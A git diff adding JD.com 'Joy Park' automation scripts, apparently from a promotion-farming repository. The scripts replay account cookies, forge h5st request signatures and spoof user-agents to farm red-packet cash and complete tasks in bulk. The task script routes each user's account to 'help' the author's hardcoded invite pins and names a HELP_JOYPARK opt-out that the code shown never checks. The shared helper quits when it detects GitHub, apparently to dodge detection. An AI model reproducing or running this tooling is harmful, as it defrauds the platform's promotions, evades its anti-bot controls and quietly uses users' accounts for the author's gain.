(/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_joy_park_run.ts b/jd_joy_park_run.ts new file mode 100644 index 0000000..7c9ce5c --- /dev/null +++ b/jd_joy_park_run.ts @@ -0,0 +1,231 @@ +/** +汪汪乐园-跑步+组队 +默认翻倍到0.01红包结束,修改请设置变量 +export JD_JOY_PARK_RUN_ASSETS="0.04" +cron:30 0 * * * * +30 0 * * * * jd_joy_park_run.ts +new Env('极速版汪汪赛跑'); + +**/ + +import {get, post, o2s, requireConfig, wait} from './function/TS_USER_AGENTS' +import {H5ST} from "./function/h5st" +import {existsSync, readFileSync} from "fs"; +import {getDate} from "date-fns"; + +let cookie: string = '', res: any = '', UserName: string = '', fp_448de: string = '' || process.env.FP_448DE, fp_b6ac3: string = '' || process.env.FP_B6AC3 +let assets: number = 0, captainId: string = '', h5stTool: H5ST = null + +!(async () => { + let cookiesArr: string[] = await requireConfig() + let account: { pt_pin: string, joy_park_run: number }[] = [] + + + for (let [index, value] of cookiesArr.entries()) { + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + + + + assets = parseFloat(process.env.JD_JOY_PARK_RUN_ASSETS || '0.01') + let rewardAmount: number = 0 + try { + h5stTool = new H5ST('448de', 'jdltapp;', fp_448de) + await h5stTool.__genAlgo() + res = await team('runningMyPrize', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "pageSize": 20, "time": null, "ids": null}) + let sum: number = 0, success: number = 0 + for (let t of res?.data?.detailVos || []) { + if (t.amount > 0 && getDate(new Date(t.createTime)) === new Date().getDate()) { + sum = add(sum, t.amount) + success++ + } else { + break + } + } + console.log('今日成功', success, '次') + console.log('今日收益', sum.toFixed(2), '元') + + res = await team('runningTeamInfo', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) + if (!captainId) { + if (res.data.members.length === 0) { + console.log('成为队长') + captainId = res.data.captainId + } else if (res.data.members.length !== 6) { + console.log('队伍未满', res.data.members.length, '人') + console.log('战队收益', res.data.teamSumPrize, '元') + captainId = res.data.captainId + } else { + console.log('队伍已满', res.data.members.length, '人') + console.log('战队收益', res.data.teamSumPrize, '元') + } + } else if (captainId && res.data.members.length === 0) { + console.log('已有组队ID,未加入队伍') + res = await team('runningJoinTeam', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "captainId": captainId}) + if (res.code === 0) { + console.log('组队成功') + for (let member of res.data.members) { + if (member.captain) { + console.log('队长', member.nickName) + break + } + } + if (res.data.members.length === 6) { + console.log('队伍已满') + captainId = '' + } + } else { + o2s(res, '组队失败') + } + } else { + console.log('已组队', res.data.members.length, '人') + console.log('战队收益', res.data.teamSumPrize, '元') + } + + + h5stTool = new H5ST('b6ac3', 'jdltapp;', fp_b6ac3) + await h5stTool.__genAlgo() + res = await runningPageHome() + console.log('🧧总金额', res.data.runningHomeInfo.prizeValue, '元') + + let energy: number = res.data.runningHomeInfo.energy + console.log('💊 X', res.data.runningHomeInfo.energy, '个能量棒') + await wait(2000) + if (res.data.runningHomeInfo.nextRunningTime){ + console.log('⏳体力恢复中,还有', secondsToMinutes(res.data.runningHomeInfo.nextRunningTime / 1000)) + if (res.data.runningHomeInfo.nextRunningTime / 1000 < 300) { + await wait(res.data.runningHomeInfo.nextRunningTime) + res = await runningPageHome() + console.log('体力恢复完成,开始跑步....') + await wait(1000) + } else { + console.log('⏳等体力恢复在跑吧!'); + continue; + } + } else { + console.log('体力已恢复,开始跑步....') + } + + await startRunning(res, assets) + for (let i = 0; i < energy; i++) { + console.log('💉消耗能量棒跑步....') + res = await api('runningUseEnergyBar', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) + //console.log(res.errMsg) + res = await runningPageHome() + await startRunning(res, assets) + await wait(1000) + } + res = await runningPageHome() + console.log('🧧总金额', res.data.runningHomeInfo.prizeValue, '元') + await wait(2000) + } catch (e) { + console.log('Error', e) + await wait(3000) + } + } +})() + +async function startRunning(res: any, assets: number) { + if (!res.data.runningHomeInfo.nextRunningTime) { + console.log('终点目标', assets) + for (let i = 0; i < 5; i++) { + res = await api('runningOpenBox', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) + if (parseFloat(res.data.assets) >= assets) { + let assets: number = parseFloat(res.data.assets) + res = await api('runningPreserveAssets', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) + console.log('领取成功', assets) + break + } else { + if (res.data.doubleSuccess) { + console.log('翻倍成功', parseFloat(res.data.assets)) + await wait(10000) + } else if (!res.data.doubleSuccess && !res.data.runningHomeInfo.runningFinish) { + console.log('开始跑步', parseFloat(res.data.assets)) + await wait(10000) + } else { + console.log('翻倍失败') + break + } + } + } + } + await wait(3000) +} + +async function api(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string = '' + if (fn === 'runningOpenBox') { + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: "runningOpenBox", + t: timestamp.toString() + }) + } + let params: string = `functionId=${fn}&body=${JSON.stringify(body)}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1` + h5st && (params += `&h5st=${h5st}`) + return await post('https://api.m.jd.com/', params, { + 'authority': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'cookie': cookie, + 'origin': 'https://h5platform.jd.com', + 'referer': 'https://h5platform.jd.com/', + 'user-agent': 'jdltapp;' + }) +} + +async function runningPageHome() { + return get(`https://api.m.jd.com/?functionId=runningPageHome&body=%7B%22linkId%22:%22L-sOanK_5RJCz7I314FpnQ%22,%22isFromJoyPark%22:true,%22joyLinkId%22:%22LsQNxL7iWDlXUs6cFl-AAg%22%7D&t=${Date.now()}&appid=activities_platform&client=ios&clientVersion=3.1.0`, { + 'Host': 'api.m.jd.com', + 'Origin': 'https://h5platform.jd.com', + 'User-Agent': 'jdltapp;', + 'Referer': 'https://h5platform.jd.com/', + 'Cookie': cookie + }) +} + +async function team(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: fn, + t: timestamp.toString() + }) + return await get(`https://api.m.jd.com/?functionId=${fn}&body=${encodeURIComponent(JSON.stringify(body))}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1&h5st=${h5st}`, { + 'Host': 'api.m.jd.com', + 'User-Agent': 'jdltapp;', + 'Origin': 'https://h5platform.jd.com', + 'X-Requested-With': 'com.jd.jdlite', + 'Referer': 'https://h5platform.jd.com/', + 'Cookie': cookie + }) +} + +// 秒转时分秒 +function secondsToMinutes(seconds: number) { + let minutes: number = Math.floor(seconds / 60) + let second: number = Math.floor(seconds % 60) + return `${minutes}分${second}秒` +} + +// 小数加法 +function add(num1: number, num2: number) { + let r1: number, r2: number + try { + r1 = num1.toString().split('.')[1].length + } catch (e) { + r1 = 0 + } + try { + r2 = num2.toString().split('.')[1].length + } catch (e) { + r2 = 0 + } + let m: number = Math.pow(10, Math.max(r1, r2)) + return (num1 * m + num2 * m) / m +} \ No newline at end of file diff --git a/jd_joy_park_task.js b/jd_joy_park_task.js new file mode 100644 index 0000000..666fa17 --- /dev/null +++ b/jd_joy_park_task.js @@ -0,0 +1,373 @@ +/* + +脚本默认会帮我助力开工位,介意请添加变量HELP_JOYPARK,false为不助力 +export HELP_JOYPARK="" + +============Quantumultx=============== +[task_local] +#汪汪乐园每日任务 +0 1,7,20 * * * jd_joypark_task.js, tag=汪汪乐园每日任务, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_task.png, enabled=true + +================Loon============== +[Script] +cron "0 1,7,20 * * *" script-path=jd_joypark_task.js,tag=汪汪乐园每日任务 + +===============Surge================= +汪汪乐园每日任务 = type=cron,cronexp="0 1,7,20 * * *",wake-system=1,timeout=3600,script-path=jd_joypark_task.js + +============小火箭========= +汪汪乐园每日任务 = type=cron,script-path=jd_joypark_task.js, cronexpr="0 1,7,20 * * *", timeout=3600, enable=true +*/ +const $ = new Env('汪汪乐园每日任务'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.invitePinTaskList = [] +$.invitePin = [ + "VxQJC6Sr0QZkcOHwxoTjrw", + "oRY9YryofcNg71MZeKSZseKD6P6BJzKv2NBGxfiuJ20", + "EDPUVDhR7nUPh3jUGDJ_GyiLt77-wROqWVP2aesRUt8" +] +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.openIndex = 0; + $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getTaskList(); + + // 签到 / 逛会场 / 浏览商品 + for (const task of $.taskList) { + if (task.taskType === 'SIGN') { + $.log(`${task.taskTitle}`) + await apDoTask(task.id, task.taskType, undefined); + $.log(`${task.taskTitle} 领取奖励`) + await apTaskDrawAward(task.id, task.taskType); + } + if (task.taskType === 'BROWSE_PRODUCT' || task.taskType === 'BROWSE_CHANNEL' && task.taskLimitTimes !== 1) { + let productList = await apTaskDetail(task.id, task.taskType); + let productListNow = 0; + if (productList.length === 0) { + let resp = await apTaskDrawAward(task.id, task.taskType); + + if (!resp.success) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取完成!`) + productList = await apTaskDetail(task.id, task.taskType); + + } + } + //做 + while (task.taskLimitTimes - task.taskDoTimes >= 0) { + + if (productList.length === 0) { + $.log(`${task.taskTitle} 活动火爆,素材库没有素材,我也不知道啥回事 = = `); + break; + } + $.log(`${task.taskTitle} ${task.taskDoTimes}/${task.taskLimitTimes}`); + let resp = await apDoTask(task.id, task.taskType, productList[productListNow].itemId, productList[productListNow].appid); + + if (resp.code === 2005 || resp.code === 0) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 任务完成!`) + } else { + $.log(`${resp.echo} 任务失败!`) + } + productListNow++; + task.taskDoTimes++; + if (!productList[productListNow]) { + break + } + } + //领 + for (let j = 0; j < task.taskLimitTimes; j++) { + let resp = await apTaskDrawAward(task.id, task.taskType); + + if (!resp.success) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取完成!`) + break + } + } + } else if (task.taskType === 'SHARE_INVITE') { + $.yq_taskid = task.id + for (let j = 0; j < 5; j++) { + let resp = await apTaskDrawAward($.yq_taskid, 'SHARE_INVITE'); + + if (!resp.success) { + break + } + $.log("领取助力奖励成功!") + } + } + if (task.taskType === 'BROWSE_CHANNEL' && task.taskLimitTimes === 1) { + $.log(`${task.taskTitle}|${task.taskShowTitle}`) + await apDoTask2(task.id, task.taskType, task.taskSourceUrl); + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取奖励`) + await apTaskDrawAward(task.id, task.taskType); + } + // if (task.taskType === 'SHARE_INVITE') { + // $.yq_taskid = task.id + // } + + } + } + } + + $.log("\n======汪汪乐园开始内部互助======\n") + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.newinvitePinTaskList = [...($.invitePinTaskList || []), ...($.invitePin || [])] + for (const invitePinTaskListKey of $.newinvitePinTaskList) { + $.log(`【京东账号${$.index}】${$.nickName || $.UserName} 助力 ${invitePinTaskListKey}`) + let resp = await getJoyBaseInfo($.yq_taskid, 1, invitePinTaskListKey); + if (resp.success) { + if (resp.data.helpState === 1) { + $.log("助力成功!"); + } else if (resp.data.helpState === 0) { + $.log("自己不能助力自己!"); + } else if (resp.data.helpState === 2) { + $.log("助力过了!"); + } else if (resp.data.helpState === 3) { + $.log("没有助力次数了!"); + break + } else if (resp.data.helpState === 4) { + $.log("这个B助力满了!"); + } + } else { + $.log("数据异常 助力失败!\n\n") + break + } + } + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + +//任务列表 +function getTaskList() { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskList`), async (err, resp, data) => { + $.log('=== 任务列表 start ===') + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.taskList = data.data + for (const row of $.taskList) { + $.log(`${row.taskTitle} ${row.taskDoTimes}/${row.taskLimitTimes}`) + } + $.log('=== 任务列表 end ===') + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +/** + * 互助 + * @param taskId + * @param inviteType + * @param inviterPin + * @returns {Promise<unknown>} + */ +function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '') { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&_t=1625480372020&appid=activities_platform`, `joyBaseInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.joyBaseInfo = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + //$.log(`resolve start`) + resolve(data); + //$.log(`resolve end`) + } + }) + }) +} + +function apDoTask(taskId, taskType, itemId = '', appid = 'activities_platform') { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"channel":4,"linkId":"LsQNxL7iWDlXUs6cFl-AAg","itemId":"${itemId}"}&appid=${appid}`, `apDoTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apDoTask2(taskId, taskType, itemId, appid = 'activities_platform') { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg","itemId":"${itemId}"}&appid=${appid}`, `apDoTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apTaskDetail(taskId, taskType) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`functionId=apTaskDetail&body={"taskType":"${taskType}","taskId":${taskId},"channel":4,"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskDetail`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (!data.success) { + $.taskDetailList = [] + } else { + $.taskDetailList = data.data.taskItemList; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + if (!data.success) { + resolve([]); + } else { + resolve(data.data.taskItemList); + } + } + }) + }) +} + +function apTaskDrawAward(taskId, taskType) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskDrawAward`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.log("领取奖励") + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId ? `functionId=${functionId}` : ``}`, + body: body, + headers: { + 'User-Agent': $.UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: 